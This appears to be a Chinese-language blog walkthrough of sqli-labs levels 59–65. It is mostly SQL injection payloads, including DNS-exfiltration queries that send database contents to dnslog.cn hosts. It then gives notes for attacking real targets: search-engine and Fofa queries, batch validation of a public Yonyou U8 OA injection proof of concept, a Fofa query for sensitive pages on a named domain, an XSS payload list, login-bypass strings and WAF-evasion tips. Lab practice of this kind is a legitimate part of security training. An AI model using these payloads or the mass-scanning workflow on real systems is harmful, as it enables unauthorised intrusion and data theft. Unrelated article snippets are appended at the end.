2 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

secret_OLE6

f.获取表内数据

2 and updatexml(1, concat(0x7e,(select secret_OLE6 from qi7pnhikpv where id = 1),0x7e), 0x7e) --+
在这里插入图片描述在这里插入图片描述

2229WftWHjdVjMEaS6yr9O3a

21.Less-60

a.注入点判断

双引号报错注入,但是需要括号闭合

b.轮子测试

3") and 1 --+
在这里插入图片描述

c.获取数据库名称

3") and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
在这里插入图片描述

d.获取表名

3") and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
在这里插入图片描述

hofp86ahow

e.获取列名

3") and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

secret_NAX1

f.获取表内数据

3") and updatexml(1, concat(0x7e,(select secret_NAX1 from hofp86ahow where id = 1),0x7e), 0x7e) --+
在这里插入图片描述在这里插入图片描述

0CxW5gDfT4RrJWkO371mJwmU

22.Less-61

a.注入点判断

单引号报错注入,但是需要双括号闭合

b.轮子测试

3’)) and 1 --+

c.获取数据库名称

3’)) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
在这里插入图片描述

d.获取表名

3’)) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
在这里插入图片描述

jy0p59437z

e.获取列名

3’)) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

secret_AX65

f.获取表内数据

3’)) and updatexml(1, concat(0x7e,(select secret_AX65 from jy0p59437z where id = 1),0x7e), 0x7e) --+
在这里插入图片描述在这里插入图片描述

zJn62X2QZ1xqyyJLUdkCeqEu

23.Less-62

a.注入点判断

单引号盲注

b.轮子测试

3’) and if(1=1,sleep(1),0) and (1) --+
在这里插入图片描述

延迟1秒,另外盲注不需要看显示,报错和联合注入才需要,只看延迟就行

c.获取数据库名称

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述

d.获取表名

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述

06pq63s5ri

e.获取列名

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述

secret_KXH7

f.获取表内数据

3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_KXH7 from 06pq63s5ri where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述在这里插入图片描述

eyhWTtqVrtmuDFdoYsQHfs6W

24.Less-63

a.注入点判断

还是单引号盲注,估计还是需要判断闭合

b.轮子测试

3’ and if(1=1,sleep(1),0) and (1) --+
在这里插入图片描述

居然不用考虑闭合

c.获取数据库名称

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述

d.获取表名

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述

62ru7lcvyu

e.获取列名

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述

secret_VS47

f.获取表内数据

3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VS47 from 62ru7lcvyu where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
在这里插入图片描述在这里插入图片描述

TZPD8yDonwQ22CubAiL57IAB

25.Less-64

a.注入点判断

除了输入正确的数字有显示,如果再输入其他符号或字母一概不显示

b.轮子测试

1 and(1)

c.获取数据库名称

1 and(select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’)))
在这里插入图片描述

d.获取表名

1 and(select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’)))
在这里插入图片描述

Uonkinbilw

e.获取列名

1 and(select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’)))
在这里插入图片描述

secret_ZGTB

f.获取表内数据

1 and(select load_file(concat(‘\\’,(select secret_ZGTB from Uonkinbilw where id=1),‘.4kmw9o.dnslog.cn\abc’)))
在这里插入图片描述

XYCNXPpkAXJX8UkwpGurdGZL
在这里插入图片描述

26.Less-65

终于到最后一关了,大结局,然后就可以去实战了

a.注入点判断

双引号盲注

b.轮子测试

1" and if(1=1, sleep(1),0) and(1) and "
在这里插入图片描述

有延迟,if(1=1, sleep(1),0)只是用于判断闭合,实际使用时去掉就行
1" and (1) and "

c.获取数据库名称

1" and (select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’))) and "
在这里插入图片描述

d.获取表名

1" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’))) and "
在这里插入图片描述

cbkyy6a08r

e.获取列名

1" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’))) and "
在这里插入图片描述

secret_RHAB

f.获取表内数据

1" and (select load_file(concat(‘\\’,(select secret_RHAB from cbkyy6a08r where id=1),‘.4kmw9o.dnslog.cn\abc’))) and "
在这里插入图片描述

0r0KwIgn3d1KwEGu1FL3N596

在这里插入图片描述

三、笔记

挖掘注入点
谷歌语法:inurl:“?id=”
判断ID是否为数字,可直接在参数值后面加/1 /0,若为数字加/0将报错
若确认是数字,可继续构造poc,如1/if(1,1,0) 1/if(0,1,0)
若使用1/if(1=1,1,0) 或1/if(1 like 1,1,0) 出现永恒之白,可使用1/if(1.=1,1,0) 1/if(1.=2,1,0)等继续进行测试
还可使用1/if(1.=ascii(2) ,1,0) 1/if(1.=hex(2) ,1,0) 1/if(1.=hex(schema()) ,1,0)
如果单引号被过滤,可使用 ‘xxx’ like ‘xx%’
如果截取函数substr及mid被过滤,可考虑left,right 1/if(68.hex(left(schema(),1)),1,0)(68用爆破得出)
获得第一个字母之后可以继续获取后面的字母1/if(6864.like+hex(left(schema(),2)),1,0)
if若过滤可使用case when替代

sql注入判断是否有注入的方法
除了使用单引号双引号之外还可以使用,1/2 1/1 1/0判断是否有注入
通过1 and 1=1 --+与 1 and 1=2 --+观察是否有变化后使用盲注

首先选择要挖什么漏洞
比如用友 U8 OA SQL注入漏洞
至于想找什么漏洞信息可去漏洞库找找,如
https://wiki.bylibrary.cn/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/
信息收集阶段我们的主要目标是:
1、找到网上公开的漏洞POC
比如POC:
http://IP:PORT/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))
2、使用找出可能存在该漏洞的IP列表
比如可以用Fofa语句:title=“用友U8-OA”,
可以使用Github开源工具Fofa-collect批量导入列表验证
POC批量验证的脚本在PeiQi文库的POC基础上进一步改写,支持批量导入IP.txt,并导出存在漏洞的URL,保存为urls.txt。
接着使用批量IP反查域名,这时候我们只需要去访问域名,就可以知道这个IP对应的公司。于是我们就可以拿着这些信息去提交漏洞了!
再次强调渗透测试点到为止,提交漏洞只需要跑出数据库名证明漏洞存在,信息安全三要素CIA时刻铭记于心
在拿到新的POC时,仅需替换POC_1()函数,代码稍加改动,就可以实现另一个漏洞的批量挖掘。

四、信息收集常用端口

http://duankou.wlphp.com/
文件共享服务端口
21,22,69,2049.139.389
远程连接服务端口
23,3389.5900,5632
Web应用服务端口
80.443.8080,8089,7001,7002,9090,4848,1352,10000
数据库服务端口
3306,1433,1521,5432,27017,27018,6379,5000
邮件服务端口
25,110,143
网络常见协议端口
53,67,68,161
特殊服务端口
2128,8068,9200,9300,11211,512,513,514,873,3690,50000

21,22,69,2049.139.389,23,3389.5900,5632,80.443.8080,8089,7001,7002,9090,4848,1352,10000,3306,1433,1521,5432,27017,27018,6379,5000,25,110,143,53,67,68,161,2128,8068,9200,9300,11211,512,513,514,873,3690,50000

五、常用测试xss

<script>console%2elog(299792458)%3c<%2fscript>
"><script>console.log(299792458)<%2fscript><"
'><script>console.log(299792458)<%2fscript>
'><script>console.log(299792458)<%2fscript><'
"""><SCRIPT>console.log("xss test")
'''><SCRIPT>console.log("xss test")'
<SCRIPT>console.log(299792458)%3b<%2fSCRIPT>
<<SCRIPT>console.log("xss test")//<</SCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT>
<<SCRIPT>console.log(299792458)%2f%2f<<%2fSCRIPT><img src%3d"1" onerror%3d"console.log(299792458)">
<img src%3d'1' onerror%3d'console.log(299792458)'
<IMG """><SCRIPT>console.log(299792458)<%2fSCRIPT>">
<IMG '''><SCRIPT>console.log(299792458)<%2fSCRIPT>'>未成功
<scri<scr<script>ipt>pt>confirm(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<scri<scr<script>ipt>pt>console.log(299792458)%3b<%2fscr<%2fsc<%2fscript>ript>ipt>
<SCRI<script>PT>console.log(299792458)%3b<%2fSCR<%2fscript>IPT>
<scri<script>pt>console.log(299792458)%3b<%2fscr<%2fscript>ipt>
console.log(299792458)%3b
%3bconsole.log(299792458)%3b
'%3bconsole.log(299792458)%3b'
"%3bconsole.log(299792458)%3b"
\"%3bconsole.log(299792458)%3b%2f%2f
<SCR%00IPT>console.log(299792458)<%2fSCR%00IPT>
<SCR%2500IPT>console.log("xss test")</SCR%2500IPT>
<STYLE TYPE%3d"text%2fjavascript">console.log(299792458)%3b<%2fSTYLE>
"onmouseover%3dconsole.log(299792458)%20
"onmouseout%3dconsole.log(299792458)%20
"onmousemove%3dconsole.log(299792458)%20
" οnmοuseοver="console.log(/xss test/)
' οnmοuseοver='console.log(/xss test/)
' οnclick='console.log("xss test")
onload%3d'console.log(299792458)'
onload%3d"console.log(299792458)"
onerror%3d'console.log(299792458)'
onerror%3d"console.log(299792458)"
<IFRAME SRC%3d'f' onerror%3d'console.log(299792458)'><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d"console.log(299792458)"><%2fIFRAME>
<IFRAME SRC%3d'f' onerror%3d'console.log("xss test")'></IFRAME>
'''><SCRIPT>console.log(299792458)'
"""><SCRIPT>console.log(299792458)
oonnfocus=javascripscriptt:console.log('xss test')
" oonnfocus=javascriscriptpt:console.log('xss test')>
"><a href=javascript:console.log('xss test')>xss test</a>

六、SQL注入万能密码

1‘ or 1=1–+
1‘or’1’=‘1
“or"a”="a
')or(‘a’='a
")or(“a”="a
‘or 1=1–
“or 1=1–
'or”=’
'or 1=1%00
'or 1=1/
admin’ or 1=1/*

七、本次攻防演练中得到的几点经验

1、首先用wafw00f-master看网站有没有开WAF,有WAF的情况下就不要去做目录扫描了,本人试过,百分百会被封IP
2、如果开启了WAF的情况下可以使用fofa用以下方法扫敏感信息
domain=“huoyouh.com” && (host=“.admin.php” || title=“后台” || body=“管理” || body=“用户名” || body=“密码” || body=“身份证号” || body=“手机号”)
3、使用https://whatcms.org/检测网站是不是用了CMS,以及CMS版本号,据此可以到网上找对应的历史漏洞找教程进行渗透,而不需要从0开始傻傻的测

相关文章:

SQL注入实操三(SQLilabs Less41-65)

文章目录 一、sqli-labs靶场1.轮子模式总结2.Less-41 stacked Query Intiger type blinda.注入点判断b.轮子测试c.获取数据库名称d.堆叠注入e.堆叠注入外带注入获取表名f.堆叠注入外带注入获取列名g.堆叠注入外带注入获取表内数据 3.Less-42 Stacked Query error baseda.注入点…...

(亲测解决)PyCharm 从目录下导包提示 unresolved reference(完整图解)

最近在进行一个Flask项目的过程中遇到了unresolved reference 包名的问题&#xff0c;在网上找了好久解决方案&#xff0c;并没有一个能让我一步到位解决问题的。 后来&#xff0c;我对该问题和网上的解决方案进行了分析&#xff0c;发现网上大多数都是针对项目同一目录下的py…...

【AI量化模型】跑通baseline

跑通baseline 任务学习内容特征工程模型训练与验证 bug未纠错的结果 任务 教程部署在百度 AI Studio&#xff0c;可以一键fork运行代码&#xff0c;选择*v100 32g1*的配置&#xff0c;baseline运行大约20分钟&#xff0c;再加上进阶部分大约40分钟 学习内容 特征工程 构建基…...

ElasticSearch:全文检索及倒排索引原理

1.从全文检索说起 首先介绍一下结构化与非结构化数据&#xff1a; 结构化数据将数据具有的特征事先以结构化的形式定义好&#xff0c;数据有固定的格式或有限的长度。典型的结构化数据就是传统关系型数据库的表结构&#xff0c;数据特征直接体现在表结构的字段上&#xff0c;…...

blk_mq_alloc_tag_set函数struct blk_mq_tag_set结构体学习

struct blk_mq_tag_set结构体 include/linux/blk-mq.h struct blk_mq_tag_set {unsigned int *mq_map;const struct blk_mq_ops *ops;unsigned int nr_hw_queues;unsigned int queue_depth; /* max hw supported */unsigned int reserved_tags;unsigned int cmd_size; /…...

Windows搭建Snort环境及使用方式

目录 0x01 前置环境0x02修改配置文件0x03 自测0x04 使用0x05 感言 0x01 前置环境 环境描述windows10snort2.9.2https://www.snort.org/downloads 先把上面环境下载好&#xff01; 需要注意的是安装npcap这个软件 0x02修改配置文件 软件安装目录&#xff1a;C:/Snort/ 配置文…...

Android network — iptables四表五链

Android network — iptables四表五链 1. iptables简介2. iptables的四表五链2.1 iptables流程图2.2 四表2.3 五链2.4 iptables的常见情况 3. NAT工作原理3.1 BNAT3.2 NAPT 4. iptables配置 本文主要介绍了iptables的基本工作原理和四表五链等基本概念以及NAT的工作原理。 1. i…...

【C++从0到王者】第十六站:stack和queue的使用

文章目录 一、stack的使用1.stack的介绍2.stack的使用 二、queue的使用1.queue的护额晒2.queue的使用 三、stack和queue相关算法题1.最小栈2.栈的压入、弹出序列3.逆波兰表达式4.两个栈实现一个队列5.用两个队列实现栈6.二叉树的层序遍历1.双队列2.用一个变量levelSize去控制 7…...

centos7 部署Tomcat和jpress应用

目录 一、静态、动态、伪静态 二、Web 1.0 和 Web 2.0 三、centos7 部署Tomcat 3.1 安装、配置jdk 3.2 安装 Tomcat 3.3 配置服务启动脚本 3.3.1 创建用户和组 3.3.2 创建tomcat.conf文件 3.3.3 创建服务脚本(tomcat.service) 3.3.4 重新加载守护进程并且测试 四、部…...

Unity Shader:常用的C#与shader交互的方法

俗话说久病成医&#xff0c;虽然不是专业技术美术&#xff0c;但代码写久了自然会积累一些常用的shader交互方法。零零散散的&#xff0c;总结如下&#xff1a; 1&#xff0c;改变UGUI的材质球属性 有时候我们需要改变ui的一些属性&#xff0c;从而实现想要的效果。通常UGUI上…...

luajit 使用 clang编译的坑

为了尝试将LuaJIT接入虚幻Lua插件之中&#xff0c;需要预编译LuaJIT链接库&#xff0c;在桌面平台问题不大, 主要是移动平台&#xff0c;涉及跨平台编译&#xff0c;因为对跨平台编译具体细节没有系统研究&#xff0c;这里先记录一下跨平台编译LuaJIT的主要过程 由于官方提供的…...

[SWPUCTF 2021 新生赛]Do_you_know_http

打开环境&#xff0c;根据题目提示&#xff0c;应该是考察http相关的东西 打开环境提示说请使用wLLm浏览器访问 那我们更改浏览器信息&#xff0c;在burp重发器中发包后发现是302重定向&#xff0c;但是提示说success成功&#xff0c;说明 我们修改是成功的&#xff0c;既然是…...

web前端之CSS

文章目录 一、CSS简介1.1 CSS语法规则 二、CSS的引用方法2.1 定义行内样式表2.2定义内部样式表2.3链入外部样式表2.4导入外部样式表 三、CSS选择符3.1 基本选择符3.1.1 标签选择符3.1.2 class类选择符3.1.3 id选择符 3.2 复合选择符3.2.1 交集选择符&#xff08;合并选择器&…...

HarmonyOS元服务开发实践:桌面卡片字典

一、项目说明 1.DEMO创意为卡片字典。 2.不同卡片显示不同内容&#xff1a;微卡、小卡、中卡、大卡&#xff0c;根据不同卡片特征显示同一个字的不同内容&#xff0c;基于用户习惯可选择喜欢的卡片。 3.万能卡片刷新&#xff1a;用户点击卡片刷新按钮查看新内容&#xff0c;同时…...

xLua学习

xLua教程&#xff1a;https://github.com/Tencent/xLua/blob/master/Assets/XLua/Doc/XLua%E6%95%99%E7%A8%8B.md xLua配置&#xff1a;https://github.com/Tencent/xLua/blob/master/Assets/XLua/Doc/configure.md FAQ&#xff1a;https://github.com/Tencent/xLua/blob/maste…...

​Web3到底是个啥?

Web3到底是个啥&#xff1f; Web3是近两年来科技领域最火热的概念之一&#xff0c;但是目前对于Web3的定义却仍然没有形成标准答案&#xff0c;相当多对于Web3的理解&#xff0c;都是建立在虚拟货币行业&#xff08;即俗称的“币圈”&#xff09;的逻辑基础之上的。 区块链服务…...

pycharm、idea、golang等JetBrains其他IDE修改行分隔符(换行符)

文章目录 pycharm、idea、golang系列修改行分隔符我应该选择什么换行符JetBrains IDE&#xff0c;默认行分隔符 是跟随系统修改JetBrains IDE&#xff0c;默认行分隔符 pycharm、idea、golang系列修改行分隔符 一般来说,不同的开发环境和项目对换行格式的使用偏好不同: Windo…...

ThinkPHP函数深度解析

ThinkPHP是一个具有丰富功能和强大灵活性的PHP开发框架。在这篇文章中&#xff0c;我们将详细介绍ThinkPHP的一些关键函数&#xff0c;以帮助开发人员更好地理解和使用这个框架。 1. 入门&#xff1a;ThinkPHP的核心函数 1.1 C()函数 C()函数用于读取和设置配置参数。它是Thin…...

【java】【maven】【高级】MAVEN聚合继承属性等

目录 1、模块开发与设计 2、聚合 2、继承 3、属性 4、版本管理 5、资源配置 6、多环境配置 7、多环境开发配置 8、跳过测试 9、私服 前言&#xff1a;maven的高级使用包含分模块开发与设计、聚合、继承、属性、版本管理、资源配置、多环境配置、多环境开发配置、跳过…...

LeetCode150道面试经典题-合并两个有序数组(简单)

合并两个有序数组 题目&#xff1a; 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2&#xff0c;另有两个整数 m 和 n &#xff0c;分别表示 nums1 和 nums2 中的元素数目。 请你 合并 nums2 到 nums1 中&#xff0c;使合并后的数组同样按 非递减顺序 排列。 注意&a…...

记录 运维三剑客一件部署的的docker-compose,yml文件

CAdvisor: 收集 InfluxDB: 存储 Grafana&#xff1a; 展示 version: 3.1volumes:grafana_data: {}services:influxdb:image: tutum/influxdb:0.9restart: alwaysenvironment:- PRE_CREATE_DBcadvisorports:- "8083:8083"- "8086:8086"volumes:- ./data/inf…...

Xposed框架开发

文章目录 xpose插件开发步骤清单文件新建一个类&#xff08;插件入口点&#xff09;设置入口点 Hook第一个实例zhuceji.apk一些常用的HOOKHookH5PluginHookProxyPluginHookSystem 资料Xposed原理初探 xpose插件开发步骤 magisk安装与配置 Xpose Framework API LSPosed magisk …...

2.13 Android ebpf非网络相关帮助函数API汇总(十二 本章完)

1.long bpf_user_ringbuf_drain(struct bpf_map *map, void *callback_fn, void *ctx, u64 flags) 描述:从指定的用户环形缓冲区中排出样本,并为每个此类样本调用提供的回调: long (*callback_fn)(struct bpf_dynptr *dynptr, void *ctx); 如果callback_fn返回0,帮助函数…...

关于游戏的笔记

关于搭建秦时明月2一键端&#xff0c;并且开启秘境神秘商人东海寻仙幻化 1.该游戏下主要的目录 gm端 服务框架 服务端 2.修改对应的文件 C:\qs\Q2Server\server\conf_common\ManagerAddress.xmlC:\qs\Q2Server\server\conf_manager\GateServer.xml修改ip 3.启动gm startup…...

vue diff 前后缀+最长递增子序列算法

文章目录 查找相同前后缀通过前后缀位置信息新增节点通过前后缀位置信息删除节点 中间部份 diff判断节点是否需要移动删除节点删除未查找到的节点删除多余节点 移动和新增节点最长递增子序列 求解最长递增子序列位置信息 查找相同前后缀 如上图所示&#xff0c;新旧 children 拥…...

【Python】Locust持续优化:InfluxDB与Grafana实现数据持久化与可视化分析

目录 前言 influxDB 安装运行InfluxDB 用Python 上报数据到influxdb ocust 数据写入到 influx Locust的生命周期 上报数据 优化升级 配置Grafana 总结 资料获取方法 前言 在进行性能测试时&#xff0c;我们需要对测试结果进行监控和分析&#xff0c;以便于及时发现问…...

数组模拟循环链表

5073. 空闲块 - AcWing题库 数组模拟循环链表 /*从当前位置开始遍历空闲块链表&#xff08;初始是从地址最小的第一个空闲块开始&#xff09;&#xff0c;寻找满足条件的最小块 &#xff08;即&#xff1a;大于等于请求空间的最小空闲块&#xff0c;如果有多个大小相同的最小空…...

第三章 图论 No.5最小生成树之虚拟源点,完全图与次小生成树

文章目录 虚拟源点&#xff1a;1146. 新的开始贪心或kruskal性质&#xff1a;1145. 北极通讯网络最小生成树与完全图&#xff1a;346. 走廊泼水节次小生成树&#xff1a;1148. 秘密的牛奶运输 虚拟源点&#xff1a;1146. 新的开始 1146. 新的开始 - AcWing题库 与一般的最小…...

RESTful API的讲解以及用PHP实现RESTful API

RESTful API是什么 RESTful是一种设计风格&#xff0c;是一种用于构建Web服务的架构。RESTful API是一种基于REST&#xff08;Representational State Transfer&#xff09;架构风格的Web服务接口设计规范。它强调使用HTTP协议中的请求方法&#xff08;例如GET、POST、PUT、DEL…...

Spring中@Component和@Bean的区别

1. 用途不同 Component用于标识普通类 Bean是在配置类中声明和配置Bean对象 2. 使用方式不同 Component是一个类级别的注解,Spring通过ComponentScan注解扫描并注册为Bean. Bean是一个方法级别的注解,在配置类中手动声明和配置Bean 3. 控制权不同 Component注解修饰的类使…...